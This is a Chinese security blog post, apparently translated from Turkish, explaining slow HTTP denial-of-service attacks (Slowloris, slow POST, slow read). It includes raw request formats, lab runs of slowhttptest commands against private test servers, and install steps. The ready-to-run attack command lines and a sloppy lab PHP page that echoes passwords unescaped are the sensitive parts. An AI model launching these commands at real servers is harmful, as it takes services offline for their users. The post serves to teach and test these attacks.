Http慢拒绝服务攻击

admin 2022年1月15日09:11:15评论811 views字数 8317阅读27分43秒阅读模式

点击上方蓝字“Ots安全”一起玩耍

本文将展示http慢速攻击的背景和实现:

  1. Http 慢速攻击背景

  2. 实现 Http 慢速攻击

  3. Http 慢速攻击背景


等待所有传入需求是 Web 服务器的本质。因此,由于发送或接收 http 请求的速度较慢,可能会导致 Web 服务器占用和拒绝服务攻击。


Http Slow 攻击分为三种类型:

- Slow Headers Attack (也称为 Slowloris 攻击)

- Slow Message Body Attack(也称为慢帖子攻击)

- Slow Read (称为慢读)


在读/写之间的时间间隔内发送或读取小块数据是这些攻击的基础。


i)Slow Headers Attack

这种被称为 Slowloris 的攻击可以在所有已知的 Apache 版本中实施。这种攻击的基本工作原理是由于缓慢发送http请求中的标头而使服务器处于忙碌状态。例如,可以执行此攻击类型的工具向目标服务器发出 http 请求,如下所示。

GET / HTTP/1.1CRLFHost: localhost:80CRLFUser-Agent: Mozilla/4.0 (Windows NT 6.1; Trident/4.0; SLCC2)CRLF

服务器知道数据包以双 CRLF 终止,因为 http 请求是 GET。当客户端没有完成带有双 CR LF 的 http 请求时,Web 服务器认为数据包尚未完成并等待数据包的剩余部分。该工具缓慢地发送标头,以便将其添加到向服务器发出的这半个请求中。.

.. n seconds.X-HMzV2bwpzQw9jU9fGjZRknd7Sa54J: u6RrIoLRrte4QV92yojeewiuBL2N7CRLF.. n seconds.X-nq0HRGnv1W: T5dSLCRLF.. n seconds.X-iFrjuN: PdR7Jcj27PCRLF...

注意:该工具从随机字符串生成要放入http请求的标头名称和值


并确定标头名称和值的最大限制。


Web 服务器将数据包的每个传入新行(片段)添加到当前数据包。由于不是每次都发送双 CR LF 令牌,因此服务器上的连接保持打开状态,服务器保持忙碌状态。当工具打开 100 个连接并执行相同操作时,Web 服务器的连接池将耗尽,服务器无法提供服务,因为它无法向其他客户端提供连接。


ii) Slow Message Body Attack

Slow Header 攻击的基本逻辑是逐步定期发送 http 请求中的 headers。在Slow Message Body(又名Slow Post)攻击类型中,基本逻辑包括发送要放置在http请求正文部分的参数和值,逐渐和定期。例如,可以执行慢速消息体攻击的工具可以向服务器发出 http 请求:

POST / HTTP/1.1CRLFHost: 10.10.25.116:80CRLFUser-Agent: Mozilla/5.0 (Macintosh; Mac OS X 10.7;) Gecko/2101 Firefox/5.0.1CRLFContent-Length: 8192CRLFConnection: closeCRLFReferer: http://code.google.com/p/slowhttptest/CRLFContent-Type: application/x-www-form-urlencodedCRLFAccept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5CRLFCRLFfoo=bar.. n seconds.&rjP8=du7FKMe.. n seconds.&93zgIx=jgfpopJ...

注意:该工具从随机字符串中创建要包含在 http 请求正文中的参数和值,并确定参数名称和值的最大限制。


由于 http 请求是 POST ,所以服务器理解数据包不是由双 CRLF 终止,而是由 http 请求中 Content-Length 标头的字节值终止。当 http 请求正文中的大小达到此字节值时,服务器表示数据包已完成并关闭连接。因此,如果http响应正文中的参数和值发送缓慢,服务器上的连接将一直保持打开状态。如果工具打开 100 个连接并执行相同的操作,则 Web 服务器的连接池将耗尽,服务器将停止服务,因为它无法向其他客户端提供连接。


iii) Slow Read Attack

慢读攻击是慢速http攻击中最难防范的一种攻击,它是通过在http请求发送后缓慢读取客户端的响应而发生的。通过这种方式,尝试在目标服务器上保留尽可能多的活动连接。在这种类型的攻击中,客户端正常接收到http响应包,http响应包被放置在客户端的内核缓冲区中。但是,http响应包从服务器到客户端的传输发生在第一阶段的网络层。因此,下一步将内核缓冲区中的http响应包转发到应用层(Web浏览器)。在这里,慢消息体攻击利用了这种结构,应用层中的应用程序缓慢地读取内核缓冲区中的http响应包,延迟读取整个包。因此,目标 Web 服务器处于待机状态,直到数据包在应用层中被完全读取。此过程使 Web 服务器上的连接保持打开状态。如果打开 100 个连接,工具会执行相同的操作(慢读操作),则 Web 服务器的连接池将被耗尽。结果,服务器将再次停止服务,因为它无法提供与其他客户端的连接。


这是客户端和 Web 服务器之间的 http 请求和响应数据包传输通道的视图:

Http慢拒绝服务攻击

如您所见,数据传输发生在网络层(数据链路层)。由于这个传入的数据是属于应用层的,所以后面会传输到应用层。下面,你可以看到应用层中的应用正在从底层拉取数据:

Http慢拒绝服务攻击


b. Uygulama

slowhttptest 工具是一种使用慢速技术对 Web 服务器进行 dos 攻击的工具。

执行以下三种类型的慢速攻击:

- Slow Headers              (也称为 Slowloris)

- Slow Message Body  (也称为慢 Http Post)

- Slow Read                    (称为慢读)


i)Slow Headers(Slowloris 攻击)

使用下面的命令,总共有 1000 个连接请求被发送到目标 Web 服务器,每秒 200 个。它以 10 秒的间隔发送给从这些打开的链接发送的 http 请求,以添加一个连续的 http 标头。当目标 Web 服务器在 3 秒内无法发送 http 响应时,就说它停止服务。


攻击系统:Ubuntu 14.04 LTS 主机

目标系统:Ubuntu 14.04 虚拟机(Apache)

>./slowhttptest -H -c 1000 -r 200 -i 10 -x 24 -p 3 -t GET -u http://172.16.3.122 -g -o slow_header_stats
Çıktı:serviceavailable: NO

-H :slowhttptest 的慢头攻击参数。Http 标头缓慢并允许按顺序发送未完成的http请求。

-c :指定测试期间要使用的连接数。(联系)

-r :确定每单位秒要建立的连接数。(速度)

-i :指定连续数据之间的传输时间间隔。(间隔)

-x :指定对每个连续数据有效的最大大小。

-p :指定等待 http 响应的时间。这次在等待http响应的时候超过,就说发生了 DoS。(探测)

-t :获取 http 请求名称。例如; GET、HEAD、POST、FAKEVERB、...

-u :输入目标 Web 应用程序的地址。

-g :测试完成后,准备两个 csv 和 html 格式的文档。

-o :指定测试完成时使用 -g 创建的 csv 和 html 表单的名称。


ii) Slow Message Body (Slow Http Post Attack)

使用以下命令,将向目标 Web 服务器发送 3000 个连接请求,每秒 200 个。它被发送到从这些打开的连接发送的 http 请求的主体,以 110 秒的间隔添加 POST 参数和值。由于 Content-Length 值为 8192 字节,因此连接保持打开状态,直到正文中的 POST 参数和值的总大小为 8192 字节(注意:每个参数和值的最大字符数为10 个字节)。如果目标 Web 服务器在所有这些过程中都无法在 3 秒内发送 http 响应,则称它已停止服务。


攻击系统:Ubuntu 14.04 LTS 主机

目标系统:Windows Server 2008 Standard (Pre-R2) ( IIS 7.0 )

> ./slowhttptest -B -c 1000 -r 200 -i 110 -s 8192 -x 10 -p 3 -t POST -u http://172.16.3.128/deneme.php -g -o slow_body_stats
Çıktı:serviceavailable: NO

-B :slowhttptest 的慢消息体攻击参数。Http 请求

正文中的参数和值是按顺序逐渐发送的。

允许发出未完成的 http 请求。

-c :指定测试期间要使用的连接数。(联系)

-r :确定每单位秒要建立的连接数。(速度)

-i :指定连续数据之间的传输时间间隔。(间隔)

-s :设置 http 请求中 Content-Type 标头的值。所以http

确定要在请求正文中发送的数据的总大小。

-x :指定对每个连续数据有效的最大大小。

这样,每一个参数和值都要放到http请求的body中

设置最大长度限制。

-p :指定等待 http 响应的时间。这次在等待http响应的时候

超过,就说发生了 DoS。(探测)

-t :获取 http 请求名称。例如; GET、HEAD、POST、FAKEVERB、...

-u :输入目标 Web 应用程序的地址。

-g :测试完成后,准备两个 csv 和 html 格式的文档。

-o :指定测试完成时使用 -g 创建的 csv 和 html 表单的名称。


笔记:

慢消息正文攻击只能对可以处理后期处理的页面进行。所以在这次攻击中,找到易受攻击的 url 是必不可少的(所以找到一个处理 post 操作的页面是必不可少的)。这就是在 Windows Server 2008 Standard 机器上创建 test.php 文件的方式。例如;

deneme.php<?phpheader("Content-Type: text/html; charset=UTF-8");if (isset($_POST["name"])) {echo "username:" . $_POST["name"] . "";}if (isset($_POST["psw"])) {echo "password:" . $_POST["psw"] . "";}?>

这样,目标 IIS 7.0 服务器将停止服务,并对 http://172.16.3.128/deneme.php url 进行慢消息正文攻击。


这里有一点:在后期处理页面上由 $_POST 拉取的变量的名称是什么并不重要。我们只需要找到一个对 POST 请求开放的页面。对此类页面的慢速消息正文攻击将使 IIS 7.0 停止服务。


如果在对 GET 请求开放的页面而不是对 POST 请求开放的页面上进行慢消息正文攻击,即使服务器易受攻击,也不会发生 DoS。这发生在我在 Windows Server 2008 Standard 虚拟机上的 IIS 7.0 服务器上的第一次慢消息正文 DoS 攻击(默认 IIS 7 欢迎页面上的攻击)中。然后,根据我从链接 https://github.com/shekyan/slowhttptest/issues/49 获得的信息,我了解到应该有一个处理 POST 的页面,我在 IIS 7.0 服务器上安装了 PHP 并创建了一个页面称为处理 POST 的 test.php。最后,由于这个页面的Slow Message Body 攻击,我成功了。


笔记2:

正如在上面应用程序之后所经历的那样,可以观察到在攻击期间在 Windows Server 2008 (Pre-R2) 机器上发生了停止服务的影响。但是,只有在访问带有脚本语言(php、asp、...)扩展名的文件(网页)时才会看到这种效果。据观察,当时仍可以继续访问具有其他扩展名(txt、html、...)的文件(网页)。事实证明,这次攻击只影响了 IIS 7 服务器的 PHP 模块。即使这个后来添加到 IIS 7 的 PHP 模块由于拒绝服务攻击而崩溃,IIS Web 服务器软件也能够幸存下来,因为它具有返回带有 txt、html 等扩展名的文件的默认服务......给客户。此处仅影响对带有脚本语言扩展的网页的访问。具有其他扩展名的文件不受攻击的影响。例如,在攻击过程中,可以看到对 test.php 或为测试目的创建的另一个 php 文件 (abc.php) 的访问被阻止,但当时为测试目的创建的 default.html 页面或另一个文件 ( xyz.txt 文件)访问已被维持。


iii) Slow Read

使用下面的命令,每秒 200 次向目标 Web 服务器发送 8000 个连接请求。选择 512 到 1024 之间的随机值作为 TCP 窗口大小。对于每个打开的连接,每 5 秒读取 32 个字节的数据。当所有这些过程都在发生时,如果来自 Web 服务器的 http 响应在 3 秒内没有出现,则称目标 Web 服务器停止服务。

> ./slowhttptest -X -c 8000 -r 200 -n 5 -w 512 -y 1024 -z 32 -p 3 -l 350 -u http://172.16.3.122 -g -o slow_read_stats

-X :slowhttptest 的慢读攻击参数。Http响应慢

允许它被读取。

-c :指定测试期间要使用的连接数。(联系)

-n :http响应包慢读的时间间隔。

以秒为单位指定。

-w :指定 TCP 窗口范围的开始。

-y :指定 TCP 窗口范围的结束。

-z :指定在每个 read() 操作中从内核缓冲区中获取的字节数。

-p :指定等待 http 响应的时间。这次在等待http响应的时候

超过,就说发生了 DoS。(探测)

-l :指定测试时间。

-u :输入目标 Web 应用程序的地址。

-g :测试完成后,准备两个 csv 和 html 格式的文档。

-o :指定测试完成时使用 -g 创建的 csv 和 html 表单的名称。

额外的。在 Ubuntu 14.04(或 18.04)Linux 上 安装 SlowHttpTest 工具


安装步骤如下:

> sudo su> apt-get install libssl-dev> cd Downloads> wget https://github.com/shekyan/slowhttptest/archive/master.zip> unzip slowhttptest-master.zip> cd slowhttptest-master> ./configure --prefix=PREFIX(( Not: PREFIX yerine slowhttptest'in kurulacağı dizini gösteren bir Absolute Path girilir ))(( Örn;                                                                                    ))(( mkdir /home/kullaniciAdi/slowhttptest                                                   ))(( ve sonra                                                                                ))(( ./configure --prefix=/home/kullaniciAdi/slowhttptest                                    ))> make> sudo make install

这样就完成了安装。

> chmod -R 777 /home/kullaniciAdi/slowhttptest/> cd /home/kullaniciAdi/slowhttptest> cd bin/> ./slowhttptest -hOutput:slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.7Usage: slowhttptest [options ...]Test modes:-H slow headers a.k.a. Slowloris (default)-B slow body a.k.a R-U-Dead-Yet-R range attack a.k.a Apache killer-X slow read a.k.a Slow ReadReporting options:-g generate statistics with socket state changes (off)-o file_prefix save statistics output in file.html and file.csv (-g required)-v level verbosity level 0-4: Fatal, Info, Error, Warning, DebugGeneral options:-c connections target number of connections (50)-i seconds interval between followup data in seconds (10)-l seconds target test length in seconds (240)-r rate connections per seconds (50)-s bytes value of Content-Length header if needed (4096)-t verb verb to use in request, default to GET forslow headers and response and to POST for slow body-u URL absolute URL of target (http://localhost/)-x bytes max length of each randomized name/value pair offollowup data per tick, e.g. -x 2 generatesX-xx: xx for header or &xx=xx for body, where xis random character (32)-f content-type value of Content-type header (application/x-www-form-urlencoded)-m accept value of Accept header (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)Probe/Proxy options:-d host:port all traffic directed through HTTP proxy at host:port (off)-e host:port probe traffic directed through HTTP proxy at host:port (off)-p seconds timeout to wait for HTTP response on probe connection,after which server is considered inaccessible (5)Range attack specific options:-a start left boundary of range in range header (5)-b bytes limit for range header right boundary values (2000)Slow read specific options:-k num number of times to repeat same request in the connection. Use tomultiply response size if server supports persistent connections (1)-n seconds interval between read operations from recv buffer in seconds (1)-w bytes start of the range advertised window size would be picked from (1)-y bytes end of the range advertised window size would be picked from (512)-z bytes bytes to slow read from receive buffer with single read() call (5)

注意:slowhttptest 工具预装在新版本的 Kali 中。


资源

https://blog.qualys.com/tag/slow-http-attack

https://www.systutorials.com/docs/linux/man/1-slowhttptest/

https://github.com/shekyan/slowhttptest/issues/49

https://www.slideshare.net/jseidl/latinoware-2013-supereffectivedosattacks

https://github.com/valyala/goloris

https://github.com/shekyan/slowhttptest/wiki/InstallationAndUsage

Http慢拒绝服务攻击

原文始发于微信公众号(Ots安全):Http慢拒绝服务攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月15日09:11:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Http慢拒绝服务攻击https://cn-sec.com/archives/738539.html

发表评论

匿名网友 填写信息